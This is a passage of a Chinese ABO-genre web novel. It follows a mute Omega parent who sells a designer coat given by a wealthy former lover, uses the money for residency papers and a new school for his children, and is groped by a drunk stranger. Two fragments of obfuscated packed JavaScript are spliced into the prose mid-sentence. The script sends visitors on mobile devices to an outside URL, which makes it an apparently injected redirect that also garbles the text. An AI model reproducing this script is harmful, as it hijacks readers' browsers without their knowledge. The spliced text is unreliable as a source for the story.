“这个你拿去穿,”青年指指搭在后排扶手箱上的羊绒大衣,神色冷淡,“沾了脏东西,我不会再穿第二次。” 梁穗想起自己那五个惊天动地的喷嚏,不好意思地先后做了两个表示道歉与道谢的手势,然后拿起那件一看就价值高昂的大衣,点点头,跟对方告别。 手工定制的名牌大衣,尺寸当然不合适,但披在身上也能抵御一部分寒风,带来一些珍贵的温暖。 梁穗将大衣反穿在身前,没有系扣子,前襟敞开,把两个孩子一左一右抱在怀中,裹进大衣里,步履蹒跚地走向面前这条脏污的小巷。 大概走到转角处,他听到一声汽车引擎的发动声。下意识回头一看,是褚京颐那辆很气派的车子开走了,背影一点点融入重现华彩的霓虹灯影下。 那个与自己完全不同、大概也不会再产生交集的世界。 4. 第 4 章 一周后,这场突如其来的倒春寒终于结束了。 难得的阳光明媚,梁穗跟旅馆老板打过商量,用少退一半押金的条件交换了半个院子的使用权,用来晾晒自己和孩子当初从那间被大雨淹了一半的出租屋里抢救出来的最后一点家当。 其实也没多少东西,几件衣服,两床薄被,一些泡过水但幸好提前做过塑封处理的证件,小满的药,还有他出发来洛市时带来的几本书,几封信,以及一本已经写了将近三分之一的记事本,记满了零零碎碎的日常开支跟重要事项、缴费日期。 其他东西都还好,虽然在采光不佳的房间里闷了这么多天,但晒晒太阳总能晾干。就是可惜了书本,被水泡得每一页都黏在了一起,只能趁被阳光晒得半干的空档,小心翼翼地一页一页揭开。 但纸页已经彻底变了形,皱巴巴的,就算晒干后也无法复原了。 上午十点,暮春的阳光正是最温暖和煦又不刺眼的时候,梁穗坐在小马扎上,愁眉苦脸地翻开一页书。 本就因为年岁久远而微微泛黄的轻薄纸张在他指间发出危险的脆响,吓得男人一下子抽回手,再也不敢碰了。 犹豫了一会儿,他将书放到旁边女儿的腿上,轻轻推了她一下,示意她来替自己翻。 小姑娘手嫩,不像自己,手上长满了硬茧,一不留神就把这些脆弱的书页给磨烂了。 梁晓盈学着妈妈的样子,用两根手指捻起一页纸,轻柔地翻过来,发现那正是梁穗平时最宝贝的一本小说,讲的是个坐食祖产终日无所事事的公子哥儿,三次前往雪乡温泉旅馆与当地艺伎相会,却因深知两人没有未来而始终克制到冷漠地旁观女人对自己炽烈真挚的爱恋,直到逐渐吸引他注意的另一位纯洁少女在火海中坠楼,满天银河倾泻进他心中,故事至此戛然而止。 《雪国》——从她有记忆开始,这本书就一直搁在梁穗枕边。 可能只有等自己跟弟弟熟睡后妈妈才会翻看吧。虽然白天从来没见妈妈看过书,但她某次好奇之下翻开一看,书籍页角已经被翻得卷边,几乎每一页都散布着一些疏疏落落的批注与心得,笔迹称不上漂亮,却很端正,一笔一画,认真得像是在完成老师布置的随堂作业。 一定是珍贵的礼物…… 说不定还是定情信物之类的东西。 目光扫过末尾页那唯一的一行字迹,因为被水泡得模糊晕开,前面几个字已经看不清了,句子本身也变得意味不明,只能勉强辨认出“假如”“徒劳”这些零散的字眼。 视线焦点集中在最后那个词上,定睛细看了几秒,小姑娘突然一拍大腿,吓了旁边的梁穗一跳。 怎么了?没有做手语,男人用困惑的表情表达着这个疑问。 “穗穗,”梁晓盈声音发沉,严肃地说,“你现在在做的事也是徒劳,知道吗?” 梁穗脸上微微发烫,有些赧然地扯扯女儿的袖子,让她不要这么叫自己。 除了母亲和已经过世的奶奶,很少有人喊他这个小名。梁穗也不习惯被人这么喊,这个可爱的名字与自己这种大块头很不相称,外人听到之后也往往会向他投来异样的打量。 但晓盈每次不叫他妈妈而是叫穗穗的时候,都代表她已经开始生气了,梁穗也不大敢违逆她,便做出洗耳恭听的姿态,老实地低下头受训。 “我问你,你今天早上为什么要把那件大衣送到干洗店?” 梁穗被问得一愣,好一会儿才迟疑着比划,「干洗」 梁晓盈白他一眼:“我知道!我是问你,为、什、么要干洗?” 选的还是最高档的那一套超精细护理,整整要五百块! 她们手头也就红姨给的那七百多,虽然还有一点存款,但那是好不容易才给小满攒下的手术费,已经存了死期,轻易不能动,梁穗哪来的闲钱支付这笔高昂又没必要的干洗费? 梁穗认真比划,「讲好了,先赊账,过后再还」 梁晓盈眉头狠狠抽动了一下,看起来是在极力控制自己骂人的冲动:“你过后就有钱了?天上给你下钱啊?还有这不是重点!一件大衣而已,人家当垃圾一样随手打发给你,你倒巴巴地当个宝贝了!要我说就该直接丢到垃圾桶去,还洗什么呀!还干洗,难道你还想把它供起来不成?” 对于那个多年来都对他们母女不闻不问的Alpha,梁晓盈就是再早熟,心里也不是没有怨言的。 她也曾经像小满一样整天缠着妈妈要爸爸,梁穗被缠得没办法,只好掏出怀表里的那张合照给她看,说爸爸早就死了,还领着她们去看老家地里一块简陋的小坟包。 那阵子她和小满每天下了学都去坟包上哭,学着电视剧里演的那样裁剪作业纸当纸钱烧,打算把过去几年欠下的香火都给爸爸补上。 烧到第七天,晚上吃饭时,她在电视的某档财经新闻里见到了爸爸的脸。 活的爸爸。 聪明的梁晓盈很快就弄明白了这是怎么回事。 爸爸,那个为她们姐弟的诞生贡献了一半基因的男人,不仅活得好好的,还很可能是个有权有势、跟乡下人家沾不上半点边的上流人士。他不要妈妈了,像是丢掉什么见不得人的累赘一样将他们远远抛开,没有留下任何联系方式,从此天各一方,再不相见。 就是这样绝情冷漠的负心汉,妈妈却还是留着他的照片、他的礼物,除了唬弄她和小满的那句谎言,这么多年从来没讲过他一句坏话,就连偶尔禁不住缠磨,向她们提起对方时都满脸怀念,从无怨色,好像那是一段多么幸福美好的岁月、那个连一天都没有陪伴过自己和儿女的男人真有些什么不为人知的苦衷似的! 「就是很珍贵啊,只能干洗,不然会弄坏」 梁穗还在努力解释。 梁晓盈真是气不打一处来,正要再接着教训这个跟弟弟一样没出息的妈妈,突然后院通往前厅的门被推开,旅馆老板探出头冲梁穗喊:“小梁,爱洁干洗店的电话,通知你衣服洗好了,尽快去取啊!” 梁穗眼睛一亮,飞快收拾好东西,起身就走。 “喂!穗穗!梁穗!你等等我!” - 梁穗最后还是带上了梁晓盈。 这会儿也十一点多了,小满的补习班提供午托服务,但每个月得多加两千块,梁穗舍不得,中午就得想着把儿子接回来。 带上晓盈也好,等会接了小满就带她们去干洗店对面的那家小饭铺吃午饭,比旅馆提供的餐食价格要便宜很多,饭菜味道也好。 要去的那家干洗店与他们目前下榻的旅馆只隔了一条街,梁穗牵着女儿的手,步行五分钟就到了目的地。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314658|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 进到店里,见老板不在,柜台前只有一个陌生的店员,梁穗心中不免忐忑,担忧对方是否知道自己已经跟老板讲过要赊账,万一不知道,解释起来恐怕会有点麻烦。 「稍后就会来还钱」……要不要先在便利贴上写明这句话呢? 幸好,店员一见他递过来的票据就笑了,很和气地说:“梁先生是吧,我们老板跟我说了,喏,您的衣服在这边架子上,请取走吧。” 梁穗这才松了一口气。 检查过大衣,确定光洁如初,一丝污渍都没有,他心中越发轻松,朝店员笑了笑,将大衣装进袋子里准备离开。 “哦,对了,”店员像是想起什么,忽然朝着梁穗的背影喊,“梁先生,我们老板让我转告你,下周三的家政服务别忘了,地点在枫露湾B栋17号。” 梁晓盈很明显地感到妈妈拉着自己的手紧了紧,奇怪地抬头看去,男人两条又黑又浓的眉毛拧皱在一起,似乎有些苦恼之色,但下一瞬便散去,扭过头,朝对方点了点头,表示自己听到了。 走出门外,梁晓盈问他:“穗穗,你怎么还没把家政的活儿辞了?多辛苦啊,又赚不到什么钱。” 还没有消气呢。 梁穗心里这么想,面对女儿时神色就更加柔和,几乎带着些讨好,「已经不干了,只是有几个熟客,推不掉。」 “这有什么推不掉的,直接不答应呗,他们还能绑你回家干活儿不成。” 「以前帮了咱们很多,不好拒绝。」 “你就是性子太软了!这样很容易被人欺负的!” 梁穗表情茫然,「没有人欺负我啊。」 梁晓盈又拿眼睛白他:“傻子,你被人卖了还帮人家数钱呢!” 母女俩一路拌着嘴,不知不觉已经又走过了两条街。 梁晓盈回过神,看看四周,见两边店铺都是各种奢侈品店,不像是平时接送弟弟走的路,便奇怪地问:“小满换补习班了?” 梁穗摇摇头,抬手指了指对面一家店,「先去这里。」说罢,便提着装有那件名牌大衣的袋子推开门,步履轻快地走了进去,停在门边,用胳膊肘为女儿顶着门。 「进来呀」 那双由于过于清澈透亮而显出些不谙世事的傻气的黑眸,正这样催促似的眼巴巴看着她。 “……” 这家店。 梁晓盈盯着店门口的招牌看了好一会儿,一双肖似生父的细长眉眼慢慢挑起一个极其微妙的弧度,目光闪动。 良久,她终于抬起脚,跟在梁穗身后走进店内。 “您好,欢迎光临易奢旗舰店……啊,好的我看一下,这是Loro Piana的Vicuna系列?噢,还是今春限定款?”店员的语气里满是惊讶,不解地打量着眼前这位衣着朴素的Omega,“这一款才正式发售不到半个月吧?您真的决定要出手了?” 梁穗点点头,眼睛亮晶晶的,闪烁着一点孩子气的期待。 “我这边得提醒您一下,只要上过身就得折价了,价格方面至少要砍掉四五万,可以接受吗?” 梁晓盈抬起头,看见妈妈把那件刚从干洗店拿出来的大衣又往柜台里头推了推,用行动作出回答,然后撕下一张便利贴,在上面飞快写道: “要现金。” 5. 第 5 章 晚上九点,洛市明珠大厦中心酒店宴会厅,一场慈善晚宴已经接近尾声。 “呼——” 站在视野开阔的露台边,褚京颐缓缓吐出一口烟雾,身姿笔挺,静静俯瞰着百尺之下的明江两岸璀璨灯火,许久都没有变换姿势,仿佛已经彻底嵌入这副深沉低调的夜景中。 身后的玻璃门被推开,有脚步声不紧不慢传来,停在他身旁。 “一个人在这儿躲清闲?” 褚京颐没回头,只用眼角余光扫了来人一眼,“嗯”了一声,算是打过招呼。 庄楷也点了支烟,胳膊架在护栏上,冲他笑道,“你那几个堂弟在楼下找你半天了都,看着急得不行,到底什么事啊?” 褚京颐又深吸了一口烟,明明表情没有变化,却偏偏叫人瞧出一股冰冷的不耐烦来。 “还能有什么事,”他厌倦地说,“不晓得又在哪里惹了祸,等着我去给他们擦屁股吧。” 随着褚家的权柄一起交到褚京颐手里的,还有看顾好本家那一大帮拖油瓶们的不可推卸的责任。 家大业大,纨绔子弟也扎堆儿,除了每天处理好鸣晟的事务之外,还要三不五时抽出空为这些闯祸技能点满的废物亲戚收拾干净首尾,褚二少的日子着实也算不上舒心。 “不用管他们,叫保安把人轰出去。” 庄楷奇道:“你真撒手不管了?那你家老爷子能跟你算完?” 褚京颐冷笑两声:“死不了,正好叫这帮酒囊饭袋长长教训,别整天闲着没事净琢磨怎么给我添堵。” 夜风徐来,吹拂在皮肤上的感觉凉爽而舒适,庄楷也没急着回去,两人随意聊了会儿天,接着又谈起了工作上的正事。 谈着谈着,庄楷就发现褚京颐有点不大对劲,脸上的烦躁压都压不下去,连信息素都似乎因为情绪波动而产生了几秒钟的漏泄,咸涩腥苦的海水气味奔涌而出,整个半开放的露台都像是正在经历一场小型海啸。 “哇,好冲的味道。” Alpha对于彼此之间的信息素有着本能的排斥,庄楷强忍下反胃的冲动,一边去按墙上的通风换气按钮,一边不赞同地上下打量着他:“京颐,你的失调症越来越严重了,别告诉我你真打算硬挺到卿玉苏醒。” 长期缺乏Omega信息素抚慰的成年Alpha,会不可避免地逐渐出现信息素失调紊乱的症状,普遍表现为暴躁、不安、亢奋、易怒等负面情绪无限制叠加的应激状态,但这其实根本就不算是一种病。 只要随便找个匹配度还算过得去的Omega睡上一觉,交换交换信息素,立即神清气爽,百症全消。 如今已经不是几十年前那个AO性别比严重失衡的年代了,以褚京颐的身份地位,想找几个高匹配度的Omega,不过是一句话的事。这些年来,外头不知多少人鞍前马后等着为其效劳,明里暗里献媚讨好之人更是不计其数。 但他偏偏一个都不要。 不管多少狂蜂浪蝶投怀送抱,都始终不为所动,一心一意守着昏迷不醒的未婚妻。 “卿玉不是那么不识大体的性子,”庄楷好心地劝道,“权宜之计而已,就算将来他知道了也不会怪你的。” Alpha本来就是三种性别之中动物性的本能欲望最强烈也最难控制的一种,长久的压抑,不光生理,恐怕就连心理都要出问题了。 褚京颐显然已经习惯处理此类情况,叫侍者送来一支抑制剂,熟练地给自己注射,“不关卿玉的事,是我自己没心情。” 庄楷看他半晌,冷不丁问:“那关谁的事?” 褚京颐动作一顿,浓长如蝶翼般的睫毛轻微一掀,眼神十分冷淡:“不关任何人的事。” 庄楷笑了笑,“星闻那小子,这两天上蹿下跳得厉害,到处找人调查那天夜都包厢里那个Omega……他是你的,嗯,旧相识吧?” 褚京颐不答,将空掉的针筒扔进垃圾桶,脸上什么表情都没有,叫人看不出他此刻是什么心情。 “你也知道星闻一直不大服你,老想给你找点不痛快。要真有什么不好叫他翻出来的事,你可得上点心,那小子惹祸的本领可不比你家那几个堂弟逊色。” “就凭他?”褚京颐嗤笑,“白痴一个,懒得跟他计较。” 庄楷委婉地提醒:“你别掉以轻心,那句话怎么说的,不怕坏人处心积虑,就怕蠢人灵机一动……” “我心里有数,谢了。” 再次回到宴会厅的时候,来宾已经开始陆续离场。 褚京颐看了眼大厅的挂钟,还不到九点半,离他平时的就寝时间还早。 “接下来有什么安排?”庄楷回着手机上的消息,随口问,“陆泽他们在附近的一个Pub玩,要过去吗?” 褚京颐说:“不了,我回公司。” “又加班啊?” “嗯,闲着也是闲着……” 最后一个“着”字还未来得及完整说出口,褚京颐话音一停,定定地盯着某个方向看了一会儿,突然一言不发地朝着那边大步走去。 “哎?你去哪儿?” 褚京颐置若罔闻,径直走到某个正准备离场的年轻男子身边,很不客气地开口叫住对方:“喂,你,站住。” 那人扭过头,脸上那点些微的疑惑与不满在看清褚京颐的下一秒就迅速转变成惊喜,下意识站直了身子,几乎有些受宠若惊:“褚二少!您您您叫我?” 褚京颐记得他,是个之前跟鸣晟底下的分公司有过几次合作的小富商。 褚京颐神色难辨喜怒,目光落到他身上那件熟悉的大衣上,几秒之后,沉声问:“这衣服哪里来的?” “啊?”男子愣了一下,显然没反应过来,迟疑半晌,试探性地答,“您是问我这件Loro Piana的大衣?还是裤子……哦哦大衣啊,呃……阳、阳雀路的一家店里买的。” 他心里莫名其妙,实在揣摩不透褚二少叫住自己的用意。 难道了是看上了自己穿的大衣想买同款?可他们这帮太子爷不都是每季等着品牌方自己送新品上门的吗?还用得着纡尊降贵亲自找自己问? 褚京颐看着眼前这个长相轻浮的年轻人,他身上这一款是Loro Piana春季限定的稀有色,整个亚洲地区也只面向品牌私密俱乐部的高级会员发售了不到十件,阳雀路那些低端商圈的个人店怎么可能拿得到货源。 “哪家店?”他问。 “好像叫什么奢……易奢?宜奢?”男子努力回想,表情忐忑,“不好意思啊褚二少,我记不大清了,只记得是家二手奢侈品店,他们经理主动联系的我。” 说完又忍不住感叹:“没想到一家路边小店也能拿出这种顶奢限定货,听说卖家出手的时候才上身不到半个月呢,跟新的没两样,价格也没涨太多……呃?褚、褚二少?” 褚京颐不等他说完就一把拽住他后领,以一种相当失礼的姿势翻开他大衣的领口,仔细检查里头缝缀的编号。 那人也不敢跟褚京颐讲究尊重不尊重的问题,僵硬地站在原地等待对方查看,同时脑子里各种念头疯狂乱转,莫非是这件大衣有问题? 该不会是……赃、赃物吧?有佣人偷了褚二少的衣服出去转卖?不会有人这么胆大包天吧? 千万别连累了自己啊!他真的什么都不知道! 许久,直到神经紧绷地站到小腿肚子都发僵了,这位倒霉蛋才听到身侧的青年笑了一声,那笑声轻柔婉转,犹如春风拂过柳梢头,却不知为何让人打心眼里觉得发毛。 “很好。” 这个家伙。 果然……一点,一点都没有变。 - 周三下午四点半,放学时间,白龙湾小学教师办公室的门外传来一阵规律的敲门声。 三年二班的班主任许老师正忙着批改作业,见有人敲门,头也没抬地说了句:“请进。” 办公室的门被推开,梁晓盈和粱小满一人一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314659|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵着妈妈的手走进来,脆生生地问好:“许老师好。” “哎,是晓盈和小满啊。”见到自己班里最争气的两位学生,许老师一向严肃的面容都不由露出了几分笑意,“嗯?这位是……” 嗅到空气中那股若有似无的劣质甜香,她愣了愣,打量了办公桌前那个比一般Alpha都要高大健壮的男人好几眼,方才从他颈间的防身项环上犹犹豫豫地确定了对方的身份。 一位不管是容貌、身材还是信息素的气味都严重背离当下Omega审美标准的,劣等Omega。 “是晓盈的妈妈吧?”许老师将自己眼里那点淡淡的轻视与怜悯掩藏得很好,仿佛不经意般伸手推开窗户,让那股腻人的香气散出去,“有什么事吗?” 梁穗将她避嫌的动作看得分明,心里有点难堪。他现在戴的这只项环款式太老了,防护效果一般,控制信息素的能力也就比他本人强那么一点点,很多次都让他在公共场合丢丑。 等把孩子们上学的事都处理好了,一定要攒钱买一只最新款的项环。 这样想着,梁穗把自己提前准备好的证明材料递了过去,梁晓盈替他说:“许老师,我妈妈想给我跟小满办转学,麻烦您给盖个章。” “转学?”许老师吃了一惊。 这对姐弟的家庭情况她大致是了解的,外地来的单身Omega独自拉扯着一双儿女,没有正经工作跟住房,也交不起保证金,自然无法申请到洛市的正式居留证,只有一张市政单位开给临时务工人员的短期暂居证,晓盈小满两个天资聪颖的孩子也只能窝在这所专门为打工子弟开设的私立小学念书。 “我们想转到市一小,”梁小满眨巴着一双黑葡萄似的大眼睛,“等许老师你结束轮岗回到市一小教课,我跟晓盈还当你的学生。” 许老师心里一软,摸摸他的脑袋,再看向梁穗时眼神柔和了一些,“晓盈妈妈,如果能转到公立学校,当然对两个孩子的学习跟将来升学有很大好处,只是,没有洛市户口或者居留证的话,市一小可能不太好接收。” 她话说得委婉,但意思已经表达得很明确了,像梁穗这种无法提供合法稳定的工作与居住证明的劣等Omega,暂居证一旦过期,恐怕就要被劝诫甚至强制遣返回原籍,洛市的公立学校是不会通过晓盈姐弟的入学申请的。 这个道理,晓盈妈妈不该不懂啊。 梁穗当然懂。 他从自己带来的那堆文件里翻了翻,翻出一张崭新的银行卡大小的卡片,往许老师跟前推了推,比划着表示:「我有居留证。」 许老师怔了怔,聋哑人? 不,能听到她说话,应该只是不能发声……望着他那张英俊朴实的面容,女人心中怜悯之意更甚,暗自叹了口气。 她不会手语,直到低头看到卡片上的“洛市居留证”字样,才明白过来他是什么意思,顿时惊讶地睁大眼睛:“你有居留证?” 晓盈姐弟当初入学时交的材料里可是只有一张为期一年半的暂居证呀。 梁穗腼腆一笑,他也看出这位老师不懂手语,便在便利贴上写道:“刚办下来的,交了20万的保证金,是真的证。” 他害怕许老师以为自己□□,特意把身份证照片处的钢印指给对方看。 许老师看看钢印,又看着梁穗,眼神里带着审视,嘴里应着,却一直没给出个肯定答复来。 二十万,即便对于洛市本地的普通市民来说也不算是一笔说拿就能拿得出来的小数目,更何况是一个处处受限、处处受歧视的劣等Omega。 在这个世界上,留给这些劣势性别者们走的路实在是太窄太窄了。 难道,这个看着老老实实的单亲妈妈也像他的同类们那样从事着某些为人所不齿的特殊行业…… “我们有钱了!” 大概是许老师脸上的惊异之色太过明显,梁小满挺了挺小胸脯,带着三分骄傲、三分炫耀地大声强调:“是我爸爸给的钱!” 6. 第 6 章 梁穗惊讶地扭过头,望向儿子的目光里满是责怪。 梁小满缩缩脖子,晓得自己又闯祸了。妈妈好像很不愿意让外人知道她们姐弟跟爸爸的关系,便机智地改了口:“叔叔,是我叔叔给的钱。” 梁穗摇摇头,严肃地冲他比划:「不是他的钱。」 不是褚京颐的钱,是梁穗的钱。 褚京颐把大衣送给梁穗,那那件大衣就是梁穗的东西了。他卖掉自己的东西换来的钱,怎么还能说是褚京颐给的呢? “可是,可是那就是爸、呃,叔叔……” 梁小满还想反驳,被姐姐抬手就给了个脑瓜崩,疼得眼泪汪汪,终于捂着嘴不敢吭声了。 许老师在一旁听着,品出些味儿来,心里那些不好言说的猜疑倒是消散了些。 出钱的那一位,大概是晓盈妈妈的追求者吧。 幸好不是她先前想的那样。不然她作为师长就不能当作不知道,到时候还有的麻烦呢。 “这样啊,好,情况我都了解了,我看看。” 许老师轻松起来,翻了翻那沓材料,先给转出学籍申请表上盖了个章,看到里面还夹杂着一份给市一小的转学申请表,沉吟了一下,先打了个电话,然后对梁穗说,“晓盈妈妈,市一小这一届招的学生不少,接收名额已经都满了。” 梁穗呆了呆,没反应过来。 他之前去市一小打听的时候对方只说他家孩子没有入学资格,梁穗本以为按照人家说的把各种证明材料都办齐就能把孩子们送去念书了,哪里料得到还有接收名额这一说——当初办公室里那个人可没说还会限制名额的呀。 他想了想,在便利贴上写:那就去其他学校,二小,三小。 许老师迟疑了一下:“晓盈妈妈,不是我打击你,但是你这种情况,想让孩子进正规的公立学校很难……你知道你们这样的Omega一向被卡得很死吧?” 不管是工作、住房、子女教育……社会生活的各方各面,全都对劣等Omega竖立着严苛的准入门槛,在绝大多数场合,他们都不被看作是一个拥有着独立人格与公民权利的个体。 “劣等Omega必须依附于Alpha才能进行正常生活”——这在近几十年里已经越来越成为大众的共识,坚不可摧。 许老师想暗示眼前这个男人不如先想办法抓住那个愿意出钱给他缴纳保证金的Alpha,哪怕不能结婚,只要有Alpha出面,想做什么事都会方便很多。 但不知是自己没把意思表达清楚,还是对方不愿将终身轻易托付他人,抑或是有其他难处,梁穗始终没什么反应,只是很执拗地在便利贴上写:洛市小学很多,会有多余的名额的 “不是名额的事,”许老师苦笑,思索了一会儿,又对梁穗说,“我实话跟你说吧,晓盈妈妈,你没有配偶,洛市不会有任何一家公立小学接收你的子女,不如这样,咱们就不朝着公立使劲了……” 见他面露急色,许老师伸手往下按了按,示意他稍安勿躁,“先听我说,我的意思是,既然咱们孩子这么优秀,那就没必要专盯着公立学校。” 她看着梁穗笑了笑,“或许,一些私立学校的教育方式可能更适合孩子也说不定呢?” 梁穗没明白,梁晓盈就问:“许老师,是哪个学校啊?” 许老师从旁边打印机上的一摞资料里翻了半天,找出一张去年的招生简章,递给梁晓盈,“洛市的西嘉国际学校,听过吗?” 女孩想了想,疑惑地问:“是那部《似水流年》的取景地?那不是所高中吗?” 许老师说:“也有小学部,西嘉是小学、初中、高中直升的K9教育体系,奉行精英教育,更注重学生素质培养,老师觉得也更适合你们这样的孩子。” 太聪明的学生在普通学校反而容易不合群,也更容易泯然众人。许老师是真心希望这两个孩子能拥有更好的出路。 “你好好看看,晓盈,有什么不懂的可以问我……晓盈妈妈?怎么了吗?”许老师奇怪地瞥了一眼满脸欲言又止的梁穗,“你对西嘉有什么疑问吗?” 梁穗抿了抿唇,为难地瞅了瞅正饶有兴味地翻看着招生简章的女儿,犹豫半晌,最终还是摇了摇头。 ……算了。 梁晓盈很快翻完万招生简章,抬起头,镇定自若地跟许老师谈论:“嗯,我看了下,那个多元文化特色课程我还挺感兴趣的,学费贵吗?” “很贵,但是我们晓盈去的话可以申请学费减免,”许老师手指点点梁晓盈个人档案上的性别栏,那个以星号特别标注的“优等Alpha”字样让她脸上浮起一抹与有荣焉的笑意,“小满虽然是Beta,偏科也有些严重,但单科成绩很棒,我听秦老师说小满现在都开始做高年级的奥数题了?” 梁小满有点害羞又有点自豪地点了点头。 许老师欣慰地笑了:“专精一门也不错,西嘉会为小满规划更合适的教育方式。你们有意向的话,我这里有两个推荐名额,小满的学费也不用担心,可以申请助学金,成绩优异的话还有奖学金可以拿,足够覆盖一学期的大部分开销了。” 梁晓盈问弟弟:“你怎么样,可以吗?” 梁小满用力点头:“我没问题!” “好,那就西嘉吧,麻烦许老师了。” 于是就这么三言两语敲定了学校。 直到被孩子们拉着手走出校门,梁穗的脑子还是懵懵的,一会儿看看女儿,一会儿又看看儿子,两人正聊着下周开学要准备的物品,谁都没留意到他的走神。 “小满,你的语文和英语补得怎么样,下次能考三百分了吗?” “唔……大概吧。” “大概?穗穗每个月花好几千块给你补习,你就学了个大概?真是的,天赋点光点在数学这一门功课了吗?要是西嘉的入学测试再考两门不及格你就自己待在白龙湾小学吧,我可不等你!” “不要不要!我不会不及格的!我跟晓盈一起去西嘉!” 一辆砖土车驶过,扬起一片飞尘,呛得三人顿时咳嗽起来。 “走那边,这里好多土。” 为了方便务工人员接送子女上下学,白龙湾小学位于一家大型工业园区附近的街道,位置略有些偏僻,环境也不好,空气污染十分严重,一刮风整条街都是烟尘,操场上都积了厚厚一层煤灰。 还好,马上就能送他的宝贝们去上正常小孩该上的学校了。 虽然,是那个西嘉,但是小学部与初高中部并不在一个校区,再说也已经过去了那么久…… “穗穗?发什么愣呢?”梁晓盈终于注意到他的心不在焉。 此时他们刚刚走入一条小巷,还没看到妈妈回答,她就先感觉身体被拉得一顿,疑惑地抬头望去,只见梁穗下颌线条紧紧绷在一起,喉结上下滚动了一下,目光直直地盯着前方。 那里,就在这条因为年久失修而坑坑洼洼的砖石路尽头,走来一个哈欠连天、干瘦矮小的男人,走起路摇摇晃 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要不是梁穗知道大多数Alpha都瞧不上自己这种五大三粗的Omega,他真想现在就拉着两个孩子掉头回去,重新找一条安全的路走。 但是,这个时间点,下一班公交马上到站,要是错过,再等下一班就得四五十分钟之后了。 这里毕竟不在市中心,天黑了更不安全。 “穗穗?” 于是,梁穗最终也没有表现出异样,对女儿的关心只是笑笑,拉着孩子们的手,就当作没有看到那个醉汉,贴着墙边匆匆往前走。 就在即将与对方擦肩而过的时候,梁穗忽然感觉有一股陌生的信息素迅速缠上自己后颈,在那被项环保护着的腺体外围极尽淫猥地蹭弄了几下,同时臀后也被人重重一拧—— 身体一下子弹了起来,梁穗猛地转过头,正对上那醉汉一张嘿嘿带笑的猥琐面庞:“劣、嗝……劣等Omega?没主的啊?” 泛着红血丝的眼睛下垂,落到那手感上佳的皮肉丰盈之处,嘴一撅,吹了个荒腔走板的口哨。 梁穗瞪着那人,胸脯急剧地上下起伏着,呼吸都有些急促,显然被这番突如其来的冒犯气得不轻。 但他思虑再三,最后还是不想惹事,并没有搭理这人不知所谓的醉话,拉着孩子们就走。 梁晓盈被拉着走了两步,看看妈妈,又看看那个停在原地,正把手指凑在鼻端陶醉嗅闻的Alpha,猛然明白过来:“他占你便宜?” 她脸色一瞬间就变了,明明是那样娇小的身量,在这一刻迸发出来的气势却凶恶暴戾十足,犹如一匹被激怒的母狼,梁晓盈甩开妈妈的手,大步朝着那个色胆包天的醉痞走去——却被梁穗一把抓住胳膊。 「快走吧。」男人面色发白,瞳孔不安地轻微震颤着,像是受到了极大的惊吓,似乎并不仅仅是因为这场并不算十分过火的猥亵行为。 梁晓盈察觉到他的不对劲儿,也顾不上要去找罪魁祸首的麻烦,皱着眉头问,“你到底怎么了?那个人……有问题?” 她若有所思地抬眼望去,恰巧那个醉汉也正直勾勾看过来,眼神死死钉在梁穗身上,仿佛是在努力回忆什么,眼里的醉意都消散了几分。 过了一会儿,竟然趔趄着抬脚朝他们走来,含糊不清地喊:“等等,等等,你,那个Omega……我好像在哪儿见过你……” 梁穗只当作没听见,也不理会女儿狐疑的追问,拉起她和小满急匆匆往前走,好像身后有洪水猛兽在追赶。 7. 第 7 章 到底是小孩儿,忘性大,那天发生的小插曲很快就因为随着转学搬家而产生的一系琐事而被抛之脑后。 有许老师帮忙,转校的事没费多少波折就被敲定,姐弟俩安排进了一个班,小满的助学金申请也通过了审核,只等下周一开学就行了。 卖掉那件名牌大衣换来的钱,在交完保证金后还剩十来万。往医院账户上打了一笔,又给小满买了两个疗程的药,再剩下的就被梁穗用来交付新家的租金,一口气交了一整年的,房东给了优惠,算下来反而比之前的房子三月一交便宜了好几百。 新家是某居民小区单元楼的一室一厅,房子虽然旧了点,却保持得很干净,边边角角也没什么难清理的陈年污垢,还附带一个大阳台,室内采光很不错,母子仨都相当满意。 周末花了两天功夫搬家,又做了一遍大扫除,直到周日下午五六点才把一切都收拾好。 梁穗累得手指都不想抬,躺到换了新布罩的沙发上就想睡觉,晓盈姐弟也累得不轻,一人一边窝在妈妈怀里,但一点困意都没有,彼此都很激动地喋喋不休讨论着新换的这个住所。 梁小满满面红光地嚷:“卧室的床好大啊,比以前家里的床大多了!我在上面滚两圈都不会摔下来!还可以当蹦蹦床玩!” 梁晓盈嘲笑他:“都多大了还想着玩,课文背了吗?题做完了吗?西嘉的教材跟咱们之前用的可不是同一版,你能跟得上吗?” “当然!”梁小满自信满满,“妈妈你放心,等下学期期末我一定能考进前五十名!” 他也惦记着学费的事。西嘉每年学费十几万,助学金最高能批五万块,剩下的那部分对于妈妈来说也是笔不小的开支。只有努力把奖学金也争取过来,才能真正为家里减轻一些负担。 梁穗很轻地摸了摸儿子的发顶。 相依为命多年,很多时候他不用打手语,两个孩子就已经能明白他的意思。 梁小满看出来妈妈是叫自己不要太辛苦,满不在乎地晃着小脑袋:“不辛苦呀,我的语文跟英语成绩不是都赶上来了吗?妈妈,我不用再上补习班了,以前我那是没开窍,现在我开了窍,你以后就不用再花冤枉钱了。” 三人偎依着说了好一会儿话,天色渐渐沉下去,两个孩子都开始打起哈欠来了,梁穗这才想起来还没做晚饭。 